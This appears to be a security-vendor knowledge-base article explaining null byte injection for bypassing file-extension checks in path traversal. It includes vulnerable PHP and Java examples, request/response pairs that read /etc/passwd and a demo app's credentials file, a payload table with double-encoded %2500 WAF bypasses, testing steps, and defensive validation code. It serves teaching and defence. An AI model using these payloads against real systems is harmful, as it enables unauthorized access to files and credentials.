Appends a null byte (%00) to terminate a string at the application level while the filesystem processes the full path, bypassing extension checks.
TL;DR
../WEB-INF/app.properties%00.htm bypasses .htm extension filter in Java/Tomcat%2500 bypasses WAF rules that block %00realpath(), never before — and use allowlist, not denylistNull byte injection exploits the boundary between high-level language string semantics and low-level C runtime string termination. In C, strings are terminated by the null character (\0, ASCII value 0, percent-encoded as %00). Higher-level languages like PHP, Java, and Python use length-prefixed or garbage-collected strings internally and do not terminate at null bytes. When these higher-level runtimes pass strings to underlying C library functions — fopen(), stat(), open() — the C library terminates the string at the first \0.
An application that appends a fixed extension to user input before passing it to a filesystem function is vulnerable: include($base . $user_input . ".php"). An attacker injects ../../etc/passwd%00 as $user_input. The PHP string contains ../../etc/passwd\0.php. PHP's extension check sees .php appended. But when PHP calls the C fopen() function, the C library reads only up to the \0 — the result is ../../etc/passwd. The extension filtering is bypassed.
Under CWE-22 and OWASP A01:2021, this is a path traversal variant that defeats a common (and insufficient) defense layer. PHP 5.3.4 fixed null byte handling in filesystem functions in 2009, but the vulnerability class remains relevant in legacy PHP deployments, Java applications using JNI for native filesystem access, CGI scripts, and any custom parser that passes user input through a C library call.
Application-level string: /includes/../../../../etc/passwd\0.php
C library view (fopen): /includes/../../../../etc/passwd
Result (after resolution): /etc/passwdThe extension filter at the PHP level sees .php and passes. The C runtime ignores everything after \0.
<?php
// VULNERABLE PHP pattern — fixed extension appended
$base = '/var/www/includes/';
$page = $_GET['page'];
// Developer intent: only load .php files
include($base . $page . '.php');
// Payload: ?page=../../../../etc/passwd%00
// PHP string: /var/www/includes/../../../../etc/passwd\0.php
// C fopen: reads /var/www/includes/../../../../etc/passwd
// Resolves to: /etc/passwdGET /view.php?page=../../../../etc/passwd%00 HTTP/1.1
Host: php-legacy.example.com
HTTP/1.1 200 OK
Content-Type: text/html
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologinWhen a WAF or input filter explicitly blocks %00, the double-encoded form %2500 bypasses the filter:
%00 → null byte (blocked by WAF)
%2500 → first decode: %00 (WAF passes %2500 because it sees %25 then 00)
second decode: \0 (application decodes %00 to null byte)GET /download?file=../../etc/passwd%2500.pdf HTTP/1.1
Host: target.example.com
HTTP/1.1 200 OK
root:x:0:0:root:/root:/bin/bash| Variant | Payload | Target Environment | Bypass |
|---|---|---|---|
| Classic null byte | ../../etc/passwd%00.txt | PHP before 5.3.4 | Extension filter |
| Double-encoded null | ../../etc/passwd%2500.txt | Systems blocking %00 | WAF null byte filter |
| Null + traversal | ....//....//....//....//....//{file}%00.txt | PHP legacy + extension check | Both traversal filter and extension filter |
| Java JSP null | ../WEB-INF/app.properties%00.htm | Java Tomcat JSP apps | JSP extension filter |
| Go null byte | ../../etc/passwd\x00.txt in body | Go apps with C library calls | Extension check in Go code |
| CGI null byte | ../../../../etc/passwd%00.cgi | CGI scripts with extension check | CGI extension routing |
Modern Java applications using JNI for native filesystem access inherit C null byte semantics via the JNI bridge:
// Java String containing a null character (U+0000)
String userInput = "../../../../etc/passwd\0.pdf";
// Java sees a 24-character string ending in ".pdf"
// Extension check at Java level: userInput.endsWith(".pdf") → true
// When passed to JNI native method:
// The JNI Modified UTF-8 encoding passes the null byte to the C layer
// C library: reads up to \0, accesses ../../../../etc/passwd
nativeFileReader.readFile(basePath + userInput);This pattern is most common in database driver JNI bridges, image processing libraries using native code (ImageMagick JNI wrappers), and custom file management systems with native optimizations.
IBM's AltoroJ (a Java/Tomcat-based intentionally vulnerable application used in security training and pentest targeting) was confirmed vulnerable to null byte injection via JSP content parameter:
GET /index.jsp?content=../WEB-INF/app.properties%00.htm HTTP/1.1
Host: demo.testfire.net
HTTP/1.1 200 OK
# Application configuration
app.admin.username=admin
app.admin.password=admin
database.url=jdbc:db2://localhost:50000/sampleThe application's JSP extension check saw .htm and allowed the request. The file resolution reached WEB-INF/app.properties — exposing database credentials and admin account details.
AltoroJ / IBM Security Demo Target: Confirmed null byte bypass in Java/Tomcat JSP application. The request GET /index.jsp?content=../WEB-INF/app.properties%00.htm bypassed the .htm extension check in the content loading parameter. Also confirmed: GET /index.jsp?content=../WEB-INF/web.xml (without null byte, as a separate test demonstrating the baseline traversal). Source: BreachVex pentest ground truth dataset, testfire/altoro target validation.
PHP Legacy Applications (Pre-5.3.4 Pattern): The null byte bypass was documented in CVE-2006-4483 (PHP wordwrap()) and numerous application-level CVEs in the 2004-2009 period. OWASP's path traversal guidance documents the pattern for PHP 4.x and 5.x before 5.3.4. Shared hosting environments running PHP 5.2.x (common on legacy cPanel hosts as recently as 2019-2021) remain vulnerable. The pattern appears in security assessment findings for government and NGO applications using legacy hosting infrastructure.
CVE-2024-23897 Adjacent Pattern (Jenkins): While CVE-2024-23897 itself is an args4j CLI parser issue, the Jenkins advisory confirmed that some bypass attempts involved null byte injection in the @ file reference syntax. Attackers tested whether appending %00 after the path would bypass path validation in the CLI argument expansion code. Jenkins' fix explicitly handled null bytes in the path validation added in Jenkins 2.442.
../../etc/passwd.xyz — if this returns an error but ../../etc/passwd.jpg succeeds (or returns differently), an extension filter is active.%00.txt to a traversal payload: ../../etc/passwd%00.txt. Compare the response to the same payload without the null byte.%00 is blocked by a WAF or input filter, test the double-encoded form: ../../etc/passwd%2500.txt..htm and .html suffixes after the null byte: ../WEB-INF/web.xml%00.htm.root:x:0:0: for /etc/passwd, <web-app for WEB-INF/web.xml.BreachVex tests null byte variants including {file}%00.png, ....//....//....//....//....//{file}%00.txt, and ..%2500/../../../{file} (double-encoded null byte) as part of its 22-variant payload suite in the extended LFI prover. The content gate ensures that extension-check bypasses are confirmed by actual file marker detection rather than just a different HTTP status code. BreachVex escalates severity based on the file accessed — CRITICAL for /etc/shadow or credential files, HIGH for configuration files and environment files.
import os
ALLOWED_EXTENSIONS = {".pdf", ".png", ".jpg", ".jpeg", ".csv"}
BASE_DIR = os.path.realpath("/var/www/app/uploads")
def safe_open(filename: str) -> bytes:
# Step 1: canonical resolution — this resolves all traversal AND discards null bytes
# os.path.realpath handles null bytes on Python 3 (raises ValueError on null bytes)
try:
resolved = os.path.realpath(os.path.join(BASE_DIR, filename))
except ValueError:
raise PermissionError("Null byte in filename rejected")
# Step 2: validate the resolved path is within the base
if not resolved.startswith(BASE_DIR + os.sep):
raise PermissionError("Path traversal blocked")
# Step 3: validate extension AFTER resolution (not before)
ext = os.path.splitext(resolved)[1].lower()
if ext not in ALLOWED_EXTENSIONS:
raise ValueError(f"File type not permitted: {ext!r}")
with open(resolved, "rb") as f:
return f.read()In Python 3, os.path.realpath raises ValueError when the path contains a null byte — this provides automatic null byte rejection. The key architectural point: validate the extension on the resolved canonical path, not on the raw user input. This prevents null byte bypass because the resolved path does not contain null bytes.
<?php
// PHP 5.3.4+ — null bytes in filesystem functions raise warnings/errors
// Still best practice to explicitly reject null bytes
function safe_include(string $page): void {
$base = realpath('/var/www/includes/');
// Explicit null byte rejection (belt-and-suspenders)
if (strpos($page, "\0") !== false || strpos($page, "%00") !== false) {
http_response_code(400);
exit("Invalid filename");
}
$resolved = realpath($base . '/' . $page . '.php');
if ($resolved === false || strpos($resolved, $base . DIRECTORY_SEPARATOR) !== 0) {
http_response_code(403);
exit("Forbidden");
}
include $resolved;
}Python 3 raises ValueError: embedded null byte when os.path.realpath or open() receives a path with a null byte. This provides automatic protection in Python 3 applications. The risk remains in applications that use C extension modules for filesystem access, which may not raise the same error.
Regardless of application-level protection, explicitly reject any input containing %00, \0, or \x00 at the input validation layer:
def validate_filename(filename: str) -> str:
if "\x00" in filename or "%00" in filename.lower() or "%2500" in filename.lower():
raise ValueError("Null byte in filename rejected")
return filenameNull byte injection (CWE-22) appends a null character (%00 or \0) to a user-supplied path to terminate string processing at the application layer while the underlying C runtime or OS reads the full path up to the null byte. The classic use case is bypassing extension filters: ../../etc/passwd%00.jpg satisfies a .jpg extension check at the PHP string level, but the C fopen() call reads only up to \0, accessing /etc/passwd.
The PHP vector (null byte in include/require) was fixed in PHP 5.3.4 (2009). However, null byte injection remains relevant in: (1) applications written in C/C++ with custom HTTP parsers, (2) Java applications that call native code via JNI, (3) CGI applications that pass paths to system() or exec(), (4) embedded IoT systems on legacy PHP stacks, (5) Go applications using os.ReadFile with string paths that pass through C libraries. The double-encoded variant %2500 also bypasses WAF rules that block %00.
PHP versions before 5.3.4 are vulnerable. PHP 5.3.4 was released in December 2009 and explicitly fixed null byte handling in filesystem functions (fopen, file_get_contents, include, require, readfile). PHP 5.3.x is end-of-life since 2014, but production deployments on old hosting environments (shared hosting, legacy government systems, embedded appliances) still exist.
%2500 is a double-encoded null byte. %00 is the URL encoding of the null character (ASCII 0). Percent-encoding %00 again gives %2500 (% encodes to %25). A WAF or input filter that blocks %00 passes %2500. When the application decodes the URL, %25 becomes %, yielding %00, which is then interpreted as a null terminator by C library calls.
In IBM's AltoroJ pentest target application (Java/Tomcat), the request GET /index.jsp?content=../WEB-INF/app.properties%00.htm bypassed the .htm extension filter. The null byte terminated the Java string at .htm in the filter check, but the file system resolved the path without the .htm suffix, returning the app.properties file contents.
Java strings are UTF-16 internally and can contain null characters (Unicode code point U+0000). When Java passes a String to native code via JNI, the JNI bridge converts it to a modified UTF-8 sequence that may pass null bytes to the underlying C library. Applications using JNI for filesystem access — such as database drivers, image processing libraries, or legacy integrations — may be vulnerable even on modern JVMs.
When PHP code appends a fixed extension: include('/includes/' . $_GET['page'] . '.php'). Sending page=../../../../etc/passwd%00 results in the string /includes/../../../../etc/passwd\0.php. PHP's C runtime fopen() call reads up to the null byte terminator, accessing /etc/passwd. The .php suffix is ignored. Fixed in PHP 5.3.4.
Append %00.txt (or %00.jpg, %00.pdf) to the traversal payload. If the response differs from the same payload without the null byte — particularly if the application previously rejected the request because of extension checking — the null byte is bypassing extension validation. Also test %2500.txt (double-encoded) to bypass WAF null byte filters. Test on both Linux and Windows targets.